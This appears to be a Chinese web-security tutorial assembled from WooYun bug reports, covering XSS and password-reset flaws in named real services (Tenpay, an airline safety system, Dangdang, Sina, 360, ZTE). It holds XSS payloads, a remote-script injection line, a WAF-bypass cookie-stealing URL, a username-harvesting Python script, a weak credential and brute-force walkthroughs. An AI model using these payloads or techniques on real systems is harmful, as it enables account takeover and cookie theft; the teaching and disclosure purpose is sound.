1.简单测试脚本检测漏洞(XSS payload)

 </script><script>alert(1);</script> </script><script>alert(document.cookie);</script> ><body onload=alert(1)> <ScRiPt >alert(1);</ScRiPt> eval(%26%23x27 alert(1)%26%23x27);void /><script>alert(1);</script> alert(1)

将 payload 作为用户输入参数提交测试,这些 payload 的目的是闭合 html 的标签,使浏览器 弹窗。若服务器对请求参数没有过滤处理,即直接弹窗,那么包含有恶意代码的响应信息被 浏览器直接解析执行,由此触发 XSS 漏洞,且误报率很低。

当然有些 xss 漏洞隐藏较深,并不能那么容易检测到,需要构造更加强大的 payload 绕过一些 xss 简单过滤。

2、xss 攻击过程

在确定可注入的 xss 漏洞之后,诱使用户加载一个远程脚本,如将 url 的提交参数改为

"><script src=http://www.xxx.com/ec.js></script>

攻击者将真正的恶意负载写在这个远程脚本中,避免直接在 url 的参数里写入大量的 js 的代码,通过恶意脚本,进而控制用户的浏览器,达到攻击目的。

a. 反射型 XSS:

服务器未对用户请求参数做任何编码或转义处理,直接将参数作为响应的一部分输出到页面中。反射型 XSS 是一次性的,很容易实施钓鱼攻击,即诱使被攻击者点击某条恶意链接就可触发漏洞。

案例:腾讯财付通反射型 XSS 一枚(附绕过详细分析)

绕了几天都没搞定,请教了@mramydnei,一会他就 bypass WAF,感谢 M 神的无私指导啊! 顺便还学到了新思路!

学习了相关资料后发现的:

1. http://blog.bentkowski.info/2014/07/google-doodle-xss-actually-response.html

2. http://drops.wooyun.org/papers/2466

这是一个在微信手机端用的一个接口,用于拉取零钱明细,接口如下,在微信客户端里请求时传入的参数都会被替换成相应正确的参数,因此在微信里没有什么用,但测试后发现在浏览器端还是可以的:

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a

返回:

- < HTTP/1.1 200 OK
- < Server: nginx/1.6.0
- < Date: Sat, 30 Jan 2016 12:08:28 GMT
- < Content-Type: text/html; charset=gbk
- < Content-Length: 0
- < Connection: keep-alive
- < Cache-Control: no-cache, must-revalidate
- < Set-Cookie: pass_ticket=a; Domain=wx.tenpay.com; Path=/; Expires=Sun,</pre>
- 31-Jan-2016 12:08:28 GMT

可以发现 pass_ticket 参数在 Set-Cookie 中,且值就等于 a,接下来我试着插入

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass _ticket=a%0d%0a%0d%0a

发现返回为空,不过这种类型的漏洞很好利用的原因在于我们可以在返回的头部中 HTTP 头部信息,因此试着加入 Content-Length,就可以发现返回的内容里出现了 img 标签!

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0d%0aContent-Length:60%0d%0a%0d%0a%3Cimg%20src=1%3E

返回内容如下:

< HTTP/1.1 200 OK
< Server: nginx/1.6.0
< Date: Sat, 30 Jan 2016 12:15:03 GMT
< Content-Type: text/html; charset=gbk
< Content-Length: 60
< Connection: keep-alive
< Cache-Control: no-cache, must-revalidate
< Set-Cookie: pass_ticket=a
<
; Domain=wx.tenpay.com; Path=/; Expires=Sun, 31-J

接下来就是关键的一个步骤,插入 js 代码了!不过这里有 WAF,我花了两天的时间都绕不过去,PM @mramydnei 之后得到了他的强力支援,提供思路及 bypass 的例子:

大概原理就是: 1. 插入 Content-Type 更改 response 中的 charset 2. 选择一个字符集,保证该字符集中的某个字符或字符串 会被浏览器忽略(也可以是 unicode transform) 3. 将 会被忽略的字符插入到被 blacklist 拦截的字符之间 4. done

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass _ticket=a%0D%0AContent-Length:120%0D%0AContent-Type:text/html;%20charset=ISO-20 22-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=a1%1B%28Jert%28document.domain %29%3E

(看到他的回复的时候,我感动得留下了泪水,那是我逝去的青春,"让你不好好学习!") 有 bypass WAF 的方式之后,之后一切问题都变得简单了,用 X-XSS-Protection:0 关闭浏览 器的 XSS 过滤,想执行什么的代码发现被拦截了就用 M 神的方式 bypass。

最终的 Payload:

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0D%0AContent-Length:120%0D%0AX-XSS-Protection:0%0D%0AContent-Type:tex

t/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=%22a1% 1B%28Jert%28document.co%1B%28Jokie%29%22%3E

点击之后, 弹 Cookie

wx.tenpay.com says:	×
pass_ticket=a; pass_ticket=a; ptui_loginuin=Sptisp=ctc; ptcz=70de6a 707-4d: pt2gguin=oC; uin=oC; skey=CKKTOV_;	
p_uin=_02777777777777777777777777777777777777	
tpgkey=F111111111111111111111111111111111111	
<pre>qluin=interfactory control contro</pre>	5
Prevent this page from creating additional dialogs.	
www.woo <mark>yun.or</mark>	g

修复方案:

过滤 CRLF

b. 存储型 XSS

攻击者提供一个恶意负载输入并在后台保存一段时间,一旦用户访问含恶意程序的网页文件 便形成有效攻击。富文本输入空间,都有存储型 XSS 的漏洞隐患,最严重可能导致 XSS 蠕虫。

案例: 华夏航空某系统存储型 XSS 漏洞(已登录系统)

http://222.178.225.36:8083/SMS/

自愿报告出可直接插入 xss

http://222.178.225.36:8083/SMS/freeWill.json

成功打到 cookies

+全部	时间	接收的内容	Request Headers	操作
-折叠	2016-04-25 11:14:20	 location : http://172.31.86.12:8083/SMS/ed itFreeReport.htm?operator=check1&repor tid=4727 toplocation : http://172.31.86.12:8083/SMS /oaLogin.htm# cookie : JOECOLONID_OFF000_0000000000000000000000000000000	 HTTP_REFERER : http://172.31.86.12:80 83/SMS/editFreeReport.htm?operator=ch eck1&reportId=4727 HTTP_USER_AGENT : Mozilla/4.0 (comp atible; MSIE 7.0; Windows NT 10.0; WOW 64; Trident/7.0; Touch; .NET4.0C; .NET4. 0E; Tablet PC 2.0; InfoPath.3) REMOTE_ADDR : 222.178.225.45 	<u>删除</u>
-折叠	2016-04-25 11:14:20	 location : http://172.31.86.12:8083/SMS/ed itFreeReport.htm?operator=check1&repor tld=4727 toplocation : http://172.31.86.12:8083/SMS /oaLogin.htm# cookie : JSESSIONID=95780512051018 2000E14ED00A076569, the1 	 HTTP_REFERER : http://172.31.86.12:80 83/SMS/editFreeReport.htm?operator=ch eck1&reportId=4727 HTTP_USER_AGENT : Mozilla/4.0 (comp atible; MSIE 7.0; Windows NT 10.0; WOW 64; Trident/7.0; Touch; .NET4.0C; .NET4. 0E; Tablet PC 2.0; InfoPath.3) REMOTE_ADDR : 222:18:223:45 OVUT 	删除 n.org

虽然是内网直接外网加 cookies 即可

郑志彬,忠好 ! 🖤	<u>9</u>					🛜 首页 🛛 杨改丽码	🍆 常用链接 🛛 📮 注销师
3	首页						
→我的任务	《航空安全预警信息》(2015年第15期)	民航安全信息第15期(4.7-4.12)	2015年2月中国民用航空安全信息月度统计:	分析报信	告 航空安全预警信息《第十	+回期) 民用航空安全信息第14期(3.30-48	3) 民用航空安全信息第
 信息报告 QAR信息报告 	事件立项调查	+ 更多	安全建议/安全投诉		+ 更多	行业安全信息	+ 更多
事件调查	◆ CRJ900前轮胎皮异常情况服告	09-25	· 关于新开航线各部门工作接口梳理	(HELED)	10-09	 航空安全预整信息(第二十二期) 	06-02
监督审核	・ CRJ900 飞机厨房百叶窗式通气滤网易损	08-06	• 关于防范岛击事件的安全提示	HEW	08-05	• 航空安全预警信息(第二十一期)	06-02
风险管理	• 签派无稳定可靠的新机长信息来源	07-30	 关于开展安全整顿和违规专项治理工作的 		08-01	・ 民用航空安全信息第22期(5.25 - 5.31)	06-02
》 交保管理 教会地站在	· 2013年8月9日, B7760飞机在南宁过夜	06-20	• 关于防范将飞风险的安全提示		08-01	 民航局月度安全运行形势分析会通报(20 	05-28
安全规章及培训	◆ 2014年2月23日,华夏航空执行G52622	03-15	 岗位说明书无相关程序文件规范 		07-09	・ 民用航空安全信息第21期(5.18 - 5.24)	05-28
安全公告							
→ 安全目标 から (400)	监督审核	+ 更多	危险源/风险警告		+ 更多	安全公告	+ 更多
· 公主现象 	 运行控制体系检查单库 	02-24				▶ 重庆=鄂尔多斯=呼和浩特新开航线风险	01-29
安保协议管理	,运行控制体系监察	02-24				 呼和浩特=赤峰新开航线风险评估报告 	01-29
数据分析	 华夏航空夏季安全大检查实施方案 	07-31				・ 风险繁理月报12月	01-13
系统管理	 关于对整顿教育访谈不及稽人员的处罚通告 	07-31				,12月份安全月报	01-13
						・ 11月份安全月报	12-09
	安全材料	+ 更多	外部文件		+ 更多	值研电话	www.wooyun.or

	<u> </u>
	郑志彬,您好 🛛 👯 🍟
«	
^	我的任务
^	信息报告
^	QAR信息报告
^	事件调查
^	监督审核
^	风险管理
^	安保管理
^	整改措施
^	安全规章及培训
^	安全公告
^	安全目标
^	安全绩效
^	安保设备管理
^	安保协议管理
ŵ	v.wooyun.ora
^	系统管理

内部员工账号

查询结果						
人员工号	人员姓名	人员部门				
1 hugy	胡贵源	信息技术管理部				
2 wangwy	王文懿	飞行管理部				
3 caishuang	蔡爽	飞行管理部				
🔲 4 lizy	李志永	飞行管理部				
5 yangqf	杨齐非	维修工程部				
🔲 6 liujie	刘杰	运行质量标准部				
T liuwen	刘文	客舱地面服务部				
8 fangjb	方佳斌	保卫部				
9 zhangjian	张剑	大连筹备组(临时)				
10 venaing	文明	飞行管理部				
11 sunch	孙朝晖	飞行管理部				
12 zhangbin	张斌	维修工程部				
13 panhl	潘海龙	市场运输部				
14 hxqbx	AOC航行情报席	ACC(运行控制中心)				
15 scjhx2	AOC市场计划席2	ACC (运行控制中心)				
WWW.WOOVUN.org						

爬取之

#coding=utf-8
import requests

```
import re
from lxml import etree
import time
import threading
import sys
sys.getdefaultencoding()
reload(sys)
sys. setdefaultencoding('UTF-8')
sys.getdefaultencoding()
def postcode(pageId):
   url = "http://222.178.225.36:8083/SMS/queryCheckPerson.json"
   head = \{
    'Host': '222.178.225.36:8083',
    'Proxy-Connection': 'keep-alive',
    'Content-Length': '71',
    'Origin': 'http://222.178.225.36:8083',
    'X-Requested-With': 'XMLHttpRequest',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Accept': '*/*',
   'Referer': 'http://222.178.225.36:8083/SMS/choosePerson.json',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN, zh;q=0.8',
    'Cookie': 'JSESSIONID*****'
    }
   data=
"start="+pageId+"&limit=15&sort=ID&dir=ASC&dept=&role=&userRealName=&workNumber
="
   proxy={'http':'127.0.0.1:8080'}
   key = requests.post(url, headers=head, data=data, proxies=proxy)
   #print key.headers
    calc = key.text
   num = re.findall('USERNAME":"(.*?)"}', calc, re.S)
   print num
    fp1 = open("C:\Users\Administrator\Desktop\\loginname.txt",'a')
    for i in num:
        fpl.write(''.join(i.split())+'\n')
    print 'page spider full'
print u'开始抓取'
count = 15
for i in range (0, 48):
   pageId = count
```

```
count += 15
postcode(str(count))
```

再爆破又获得一枚 但是权限不如盲打的高 rangxy/rangxy123 系统弱口令确实少了 经过 wooyun 检测

一些项目

^ ────────────────────────────────────			
へ		标题	通告类型
∧ 安全規算及培训	1	航空安全预警信息(第二十二期)	行业安全信息
***	2	航空安全预警信息(第二十一期)	行业安全信息
* XSEXTE	3	<u>民用航空安全信息第22期(5.25-5.31)</u>	行业安全信息
公告查询	4	民航局月度安全运行形势分析会通报(2015年第5号)	行业安全信息
· *A 85	5	民用航空安全信息第21期(5.18-5.24)	行业安全信息
▲ 安生日休	6	南航2架飞机发生剐蹭	行业安全信息
◇ 安全绩效	7	<u>航空安全预警信息(第二十期)</u>	行业安全信息
へ 安保设备管理	8	民用航空安全信息第20期(5.11-5.17)	行业安全信息
· · · · · · · · · · · · · · · · · · ·	9	2015年4月中国民用航空安全信息月度统计分析报告	行业安全信息
▲ 安保协议管理	10	民用航空安全信息第19期(5.4-5.10)	行业安全信息
▲ 数据分析	11	航空安全预警信息(第十八期)	行业安全信息
∧ 系统管理	12	航空安全预警信息(第十七期)	行业安全信息
	13	<u>民用航空安全信息第18期(4.27-5.3)</u>	行业安全信息
	14	<u>民用航空安全信息第17期(4.20-4.26)</u>	行业安全信息
	15	≪航空安全预警信息》(2015年第16期)	www.行业客全信息up org
	14 4 Dage	1 of 13 🕨 💹 🍣	www.wooyun.org

修复方案:

1. 过滤 XSS

2.4.3 Fuzz

功能测试用的多一些,有可能一个超长特殊字符串导致系统拒绝服务或者功能缺失。(当然 fuzz 不单单这点用途。)

不太符合的案例,但思路可借鉴: WooYun: 建站之星模糊测试实战之任意文件上传漏洞

可能会用的工具 —— spike

2.5 密码找回漏洞

2.5.1 用户凭证暴力破解

a. 四位或者六位纯数字

案列: 当当网任意用户密码修改漏洞

http://m.dangdang.com/forget_psd.php?sid=e14aa9b65e0f4d05 输入要更新帐号的手机号码,然后提交。 下一步,对验证码进行暴破,由于验证码只4位。。网速乐观的情况下,数分钟就能破解出
来。 也不多说了,经测试,成功破解了数个帐号。

POST /verify_fp.php?sid=e88bf0a11d2e7920 HTTP/1.1

Host: m. dangdang.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn, zh;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://m.dangdang.com/verify_fp.php?sid=e88bf0a11d2e7920

Content-Type: application/x-www-form-urlencoded

action=verify&sid=e88bf0a11d2e7920&mobile=xxxx&verify= $v \$ &submit=%E6%8F%90%E4 %BA%A4

	s payloads	options			
equest payload	status	error	timeout	length	comment
7 9603	200			1983	
7 9643	200			1983	
9 9651	200			1983	
6 9734	200			1983	
9798	200			1983	
9834	200			1983	
9848	200			1983	
i9 2741	200			2976	
	200		LESS.	3849	baseline request
34 2716	200			3849	
32 2718	200			3849	
74 2726	200			3849	
73 2727	200			3849	
2 2728	200			3849	
equest response aw params headers	hex				
ST /verity_fp.php? st: m.dangdang.com er-Agent: Mozilla/ cept: text/html,ag cept-Language: zh- cept-Encoding: gzi nnection: close	'sid=e88bf0a 5.0 (Window pplication/x cn,zh;q=0.5 .p, deflate angdang.com/	11d2e7920 f s NT 6.1; h html+xml,ap verify fp.p	NTTP/1.1 NOW64; rv:14.0 pplication/xml php?sid=e88bf00) Gecko/20 ;q=0.9,*/* alld2e7920	100101 Firef(;q=0.8

2.5.2 返回凭证

a. url 返回验证码及 token

案例: 走秀网秀团任意密码修改缺陷

走秀网的团购网站 秀团,由于应用设计缺陷,可以造成任意密码修改

进入秀团登陆处, 点忘记密码, 选择手机号重设

http://tuan.xiu.com/account/repass.php

输入帐号的手机号码,点击获取验证码,此时注意抓包,或是使用 firefox 的 firebug 查看 请求链接,将发现验证码出现。。。



直接输入验证码即可修改密码。。。

其实,即使不出现此缺陷,这验证码也太短时,而且不会过期,暴破也不用几分钟时间。。 暴破参考: WooYun: 友宝售货机注册漏洞

http://tuan.xiu.com/ajax/sms.php?action=user_reset&mobile=手机号码 &verifycode=8889&time=0.39637206563755256

1065712 (1.8)	0380884499	
1065712038088 团的密码重置,输 11:11	4499: 你好,你申请 1证码:8889【走秀】	17秀 明】
Linke.		
1		
降加文本		0 / 160
jōmx≠		0/160 发送
jāmx*		0/160 发送 ②

使用豌豆荚截图WWWAWQQYUInoOrg

修复方案:

修,还有加强验证码强度,连接输入几次后作废等。

暴破参考: 友宝售货机注册漏洞

友宝自动售货机,手机注册可以送两张可乐券,用于购买可乐,但是服务端对注册新手机用 户没有严格限制,造成可以注册任何手机号。

友宝自动售货机,手机注册可以送两张可乐券,用于购买可乐。

1、服务端对用户提交的手机号没有严格的认证,即使是虚假的手机号;

2、用户通过发送手机号注册请求后,服务端会往该手机号上面发送一个4位验证码;

3、服务端对这个验证码验证次数没有限制,并且服务端对这个验证码保存的时间足够用户 暴力破解验证码进行注册

- 4、通过注册送的可乐券购买可乐
- 5、无限注册就能够无限免费购买可乐

^ V	× root@bt: ~/Desktop
File Edit	t View Terminal Help
1953 手材	机验证码输入有误
1954 手材	机验证码输入有误
1955 手材	机验证码输入有误
1956 手材	机验证码输入有误
1957 手材	机验证码输入有误
恭喜你,	通过验证码:1958破解成功,密码为:
root@bt	-/Desktop#

修复方案:

- 1、服务端严格验证手机号正确性;
- 2、服务端设置手机验证码有效期限短一些
- 3、服务端设置手机验证码验证次数,避免恶意注册

b. 密码找回凭证

在页面中通过密保问题找回密码

案例: sohu 邮箱任意用户密码重置

很简单,也非常危险的漏洞,此漏洞可修改任意搜狐用户邮箱密码

可通过搜狐登录页中的找回密码功能,再点击下面的"网上申诉",在申诉页面的源代码里, 不但有密码提示问题,Hide 表单里竟然泄露问题答案,可获得任意用户修改密码问题答案, 从而轻松修改任意用户邮箱密码

1 输入通行证账号 —	② 选择找回方:		3 找回密码		
		Att	p://passport.sohu.com/web/Re	coverPwdAppealInput.act 🗖	
	身份证号:		/ 编科(E) 俗玖(豆)	Kuiv clubb Sonupp Input	
			item-2 sohupp-clear">		
	身份证复印件照片:	/3	input-item-left sohupp-fleft">密码提疗	r问题:	
	密码提示问题: sohu	info 74			
		75	input-item-ct sohupp-fleft">	<div class="soh</td><td><pre><div upp-input-item-label-</pre></td></tr><tr><td></td><td></td><td>77</td><td>problem" somop-promptproblem"="">sohuinfo</div>	
	注册时间,	78			
		79		<div class="sohupp-
fleft" id="sohupp-</td></tr><tr><td></td><td>真实姓名:</td><td></td><td>msgimg-promptproblem"></div>	input-item-right-msgimg sohupp-
		81		<div class="sohupp-inpu
msg-gray" id="sohupp-m</td></tr><tr><td></td><td>生日:</td><td></td><td>promptproblem"> </div>	t-item-right-msg schupp-fleft schupp
	3C 40 CI 70	82			
	于机号的:	83	item-3 sobupp-clear">	<div class="sohupp-input-</td></tr><tr><td></td><td>黑后——沙登寻时间,</td><td>84</td><td>Total o bonapp offer o</td><td><div class=" sohup<="" td=""></div>	
	40/LL 17C32.35431401		input-item-left sohupp-fleft">答 案:		
	其他线索:	85		<div class="sohup</td></tr><tr><td></td><td></td><td>86</td><td>input-item-ct sonupp-fleft"></div>	<textarea< td=""></textarea<>
			id="sohup-ipt	sohupp-ipt-height" type="text"	
1			value actives and name="ans	wer">	
		88		Ciditor	
		89		<div id="sohupp-</td>	

搜狐通行证 passport.sohu.com	
1 输入通行证账号 2 选择	
密码提示问题:	sohuinfo
答 案:	
新密码:	
密码确认:	
验证码:	xtty8486 刷新
	下—#
	☆ 忘记所有密码保护信息? 网上申诉?
	www.wooyun.or

图片是用 webmaster@vip. sohu. com 用户获得的信息,当然我没有修改他的密码

c. 返回短线验证码

案例:新浪某站任意用户密码修改(验证码与取回逻辑设计不当)

新浪某站任意用户密码修改,影响大量用户

问题网站 http://esf.sina.com.cn/ 【新浪二手房】 在主站登录处点击登录

		9 III 🛛 C	₩ + 百度 <ctrl+k></ctrl+k>	م	☆ 自 ⋒
S NAWR C NATH T WARK C NYCHAR C OLIVORUM C CONC		×	印使用中国经纪人网络平	台 免费注册 4	收藏 设为首页
sino 新浪二手房	新浪二手房	新浪租房	百度二手房	百度租房	新房联动
房产经纪人 のの 知了 ひてののないので、 ひたののないので、 の時の音句ののなりので、 の時の音句ののなりので、 ので、 ので、 ので、 ので、 ので、 ので、 ので、	-		登录中国经纪人 用户名 密码 记记: 经纪人注册 1个, 客服热线: 021-60 客服胡猫: sh-esfee	网络平台 始)用户名 📄 自动 登 录 🔊 🔊 入用户注册 車京津好 867130/60867266 rvice@ecfang.com	·登录 ···································
▲ 重要通知 尊敬的房产经纪人朋友: 感谢一路有你!新浪二手房[认证房],专注于为网民提供	4.真实有效房源,让网图	豪现"真中选优,	坑中选值"的网络找房	最佳体验,为经纪。	* 人朋友提供

随后点击忘记密码

在 http://broker.esf.sina.com.cn/login/findpassword 界面输入用户名时抓包

Stocker.esf.sina.com.cn/login/findpassword		V	<u>v</u> e	<mark>☆ 百度</mark> < G	rl+K>	<u>م</u>		<u>â</u>
🙆 访问最多 🛄 新手上路 🌄 建议网站 🛄 网页快讯库 👄 DFAToken	CasyAD		burp s burp int	uite professio ruder repeate	r window a	censed to Drakor ibout	hHaSh	
sno 新浪二手。	房	新浪二	target intercep response	proxy spic	er scanner history ker.esf.sina.co	intruder rep	eater	sequencer Pname=she
找回密码 登录帐号:	上 核对资料 enzhen	√ 手机 ==	forw fraw HTTP/1 Server Date: Conten Conten Conten Conten Conten ("mobi	ard headers he headers he headers he headers he inginx inginx inginx Fri, 28 Not-Type: L2 Robert	<pre>v 2014 09: xt/html -alive oding p/5.2.13 Nov 1981 rivate, mu 51 * a92cf770e</pre>	Intercept is on 22:15 GMT 08:52:00 GMT st-recalidat	e e aa88£c6:	570b1*)

可以看到返回数据中含有该用户的手机号 通过解密,得到此用户 shenzhen 的手机号为 182****7672 在密码找回处输入解密后的手机号,并点发送验证码。再次抓包

Broker.esf.sina.com.cn/login/findpassword		۷	際 ▼ C 〒 直度 <ctrl+k> P ☆</ctrl+k>
	oken 🚭 EasyAD		burp intruder repeater window about
			target proxy spider scanner intruder repeat
s pa新浪二-	手房	新浪	intercept options history response from http://broker.esf.sina.com.cn:80/login/sendyz
			forward drop intercept is on
找回密码			raw headers hex
	上 核对资料		HTTP/1.1 200 OK Server: nginx Date: Fri, 28 Nov 2014 09:26:31 GHT Content-Type: text/html Connection: keep-alive Vary: kccept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GHT Pragma: no-cache Cache-control: private, must-recalidate srv-id: 49 srv-id: 47 Content-Length: 32
豆灰煎亏.	Sicienci		75ce8d1e65d9bf98d53ba992e6059e1c
手机号码:	182		
手机验证:	帶认找回 返回登录		+ < > 234

可见短信验证码加密后返回给了浏览器,我们解密。得出验证码为234589。 成功重置密码

🗲 🕑 broker.esf.sina.com.cr	/login/findpassword2		🦁 🗱 🗵 😋	🖀 🔹 百度 <ctrl+k></ctrl+k>	م .	☆ 自 俞
🔊 访问最多 🗌 新手上路 🚺 建	议网站 🗌 网页快讯库 🔵 DFAToke	n 🔵 EasyAD				
			XX	业使用中国经纪人网	络半台 免费注册	收藏 设为面页
	Sna新浪二手	房	新浪二手房	新浪租房	百度二手房	百度租房
	找回密码					
		1 核对资料	→ ✓ 找回	1成功		
		密	码已发送至手机]	
		重新	兆回 返回 登录			

下面就是有意思的了 通过几次测试,发现该网站的验证码程序很有意思。 所有验证码为6位,且依次每位均比左边一位大。 比如会出现123456,但一定不会出现123465的情况。 重置后的密码也遵循此规律。 另外验证码第一位只会是2、3、4。

下面给出我的破解字典

成功破出重置后的密码为 246789

🔸 intrude	er attack 8							
attack sa	ave columns							
Filter: sh	owing all items							٦
results	target positions	payloads	op	tions				
request	payload	status	error	time	. length	comment		
7	234679	200			369			
8	234678	200			343		1	-
9	234789	200			343			
10	235789	200			369			
11	236789	200	100		343			
12	245678	200			343			
13	245679	200			343			
14	245789	200			370			
15	245689	200	10		369			
16	246789	200			1446			
17	256789	200			343	3		
18	345678	200			369			
19	345679	200			369			
20	456789	200	100		370	1		•
request	response headers hex							
srv-id Content	: 49 : 47 t-Length: 227							10
loginca 3D10001 eeed4f1	allback({"resul 1%26loginname%3) Df881e7a029a90a	t":"succ' Dshenzher 5db8a1d6o	',"co 1826m 11£2",	okies obile "un":	:":"FY_LUP %3D158741 "shenzhen	%3Abt%3D822757 8013%26uid%3D% ","pd":"246789	945%26email%3D%26f% 26ut%3D%7CFY_LUE%3A	
+ <	>						0 matche	s
finished								

至此,成功登录该用户。

B broker.esf.sina.com.cn/my/indexagent					V 88	⊽ C' 💽 - ∄	價 <ctrl+k< th=""><th>></th><th>₽ ✿ @</th><th>) A 4</th></ctrl+k<>	>	₽ ✿ @) A 4
🙆 访问最多 🗋 新手上路 🌄 建议网站 🗌 网页快讯库 😋 DFAToke	en 😑 EasyAD									
当前用户:沈振(shenzhen)							管	理首页 意见的	反馈 帮助中心 安	全退出
中国经纪人网络尼 China Real Estate Information Corporation. Fare	SH 🞯	下载房华	m del	TIT		🏠 新房一手联	a) (C 1	的新浪店铺	🖀 我的百度店前	ŧ
 	您当前的位置 。 照片更换 身份认证	 : 该料管理 > 	管理中心首页 你好,沈振! 一 留言:共0 の の の の の の の の の の の の の	(根本) (現分明錄 書套編 状态 : 2020年01月 上架房源5条,乘 发布出租	(查看留言) a) 好才 5: 未开通 诚信 5: 101日(剩余 184 5: 刷新房源 100 次,	2済求:0个(宣看 3通:通过认证 51天) 0次; , 您现在可以:	请 求)			
□ 业主房源 ペ 出售房源	恭喜,您的活跃	氏度非常高,请结	继续保持 !		今天操	作统计的截止时间	: 17:36			
出租房源	房源总数 I	昨天发布房源	昨天点击量	昨天刷新	今天发布房源	今天修改房源	总刷新			
· · · · · · · · · · · · · · · · · · ·	5 (0)	售0 租0	0	5 (0)	售0 租0	0	100 (0)			
 统计分析 经纪人英田共会计 	历史记录查询	1				数据由房友	在线提供			
经纪人个人统计 经纪人个人统计 楼盘点击重分析	内部公告:						5			

修复方案:

验证码程序的问题得改不要把敏感数据返回浏览器

2.5.3 邮箱弱 token

a. 时间戳的 MD5

案例: 奇虎 360 任意用户密码修改漏洞

奇虎 360 用户通行证取回密码存在逻辑问题,导致可以修改任意用户的密码。 怕影响别的用户帐号安全,所以只用了 3 个朋友的帐号进行测试,均成功。 360 的业务线也很广了,比如 360 安全卫士系统云备份,云盘存储,网站宝,团购等项目, 利用这个 sso 漏洞可以通杀,危害还是很严重的。

详细说明:

先正常流程取回一次密码,查看邮箱,邮件内容类似:

360个人中心找回密码(重要)! 重设密码地址:http://i.360.cn/findpwd/setpwdfromemail?vc=c4ce4dd3d566ef83f9[马赛 克]&u=[马赛克]%40gmail.com,马上重设密码! 如果您没有进行过找回密码的操作,请不要点击上述链接,并删除此邮件。

vc 可以看出是一串 md5, 解密一下发现是个数字, 类似 1339744000, 第一感觉是个 id, 那 么遍历 id 并且修改 u 变量是否可以修改任意用户密码呢,试了一下不可以,在看这个数字, 感觉有点太大了,在看,在看,在看,怎么像是个 unix 时间戳呢? 解开一下发现真的是个时间戳!那么可以大胆的猜测一下此处的流程,用户取回密码时,产 生一个精确的时间戳,与帐号绑定,记录在某个密码重置库内,那么修改这个用户密码必须 得知道这个时间戳才可以,看似合理,但程序员忽略了一个细节,就是假如这个时间戳是新 生成得,我在一定得时间段内进行暴力猜解,很快就可以获取到这个有效得链接! 写了个 exp 测试一下。



打开果然是

────────────────────────────────────	找回密码	× (+)		
(I) IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	mail?vc=	538b7a	@gmail.com	🧰 ☆ 🔻 🚼 Ŧ Goog
250 个人中心				登录 注册 360
			码	
		頃及直新密码: 重复输入密码:		
		确认重	<u></u>	
	Соруг	ight©2005-2012 360.CN All F	Rights Reserved 360安全中心	
		京ICP证080	0047号	www.wooyun.org

修改密码后跳到了登陆首页,用刚刚修改得密码登陆

1 🕨 🕑 🕙 1.360.cn					□ ☆▼)	Google
					, 您好! 小纸多	《 退出 加入收费
		我的首页 帐号	资料	帐号绑定	应用授权	360首页>
	个人资料 查看			彩票		
	密保邮箱: @@gmail.com	注册时间:		快速扔	t注	我的彩票
	资料完整度: 8% 修改个人资料	充值中心: <u>游戏充值</u>	彩票充值	対色球		2
公告 :太平洋and多特2	111年度软件评选启动,欢迎大家投票支持360			06月14日升	天乐透 千奖号码: 08 10	福彩3D 11 18 20 29 06

Bingo[~]看看其他应用。

WooYun.org 提交演	洞 × 🗲 360云盘 - 我的云盘 × 🕂	
C C S.yunpa	an. 360.cn /my/index	<mark></mark> ☆ ⊅
260元盘	CE使用 MB,总式 > ▼ 升级空间 邀请好友 - 下载客户端	Q.输;
🧧 所有文件	▲ 我的云盘	
😂 我分享的链接	1 1 上传 新建文件夹 下載 更多操作 ▼	
🗑 常用文件夹		TXT
◎ 书籍		
◎ 图片		
○ 文档		
回收站		
		www.wooyun.org

奇怪,不是 sso,但是既然知道了密码, so不 o的无所谓啦。 PS:另外发现了一个小小的问题,如果某个重置密码链接未使用的话,时间戳貌似不会失效, 这样给预测带来了点麻烦,但这只是时间问题。 修复方案:

不可预测性没有做到位,设计之初就做错了,真是。。

b. 用户名

c. 服务器时间

案例:中兴某网站任意用户密码重置漏洞(经典设计缺陷案例)

1. 还是之前提交的那个中兴的应用之星网站

http://www.appstar.com.cn

上面有积分可以换充值卡。

中兴某网站的积分商城充值卡等礼品任意兑换漏洞

2. 上面还有一个任意用户密码重置漏洞, 找回密码链接的 token 不够随机, 貌似就是当前时间。可以任意找回用户的密码而不用去查看邮箱中的找回链接是啥, 重置别人的密码后就可以用别人的积分在积分商城里面来换取礼品。

3. 首先用 2 个账号同时找回密码来进行对比, 开 2 个窗口, 2 个账号同时点击找回密码:

我回密码 - Microsoft Internet Explorer	
(件 (E) 编辑 (E) 查看 (Y) 收藏 (A) 工具 (E) 帮助 (H)	
3 后思 - 📀 - 🖹 🛃 🏠 🔎 捜索 🌟 收藏夹 🤣 😒 - 🌺 🗟 - 🛄 🕥 鑬 🧏	
址 @) 🧃 http://www.appstar.com.cn/forgotPsd.htm	✓ → 转到 链接
邮箱: ⁵⁷⁴⁸⁹⁴ 6@qq.com 验证码: ^{cef3} 这证码: 找回	
网页上有错误 。	S Internet
阿页上有错误。 	S Internet
两页上有错误。 忘记密码 邮 稿: 1727109188qq.com 验证码: flcq F_CCQ 香不清?换一张	S Internet

】注册应用之星 - ∎icrosoft	Internet Explorer	
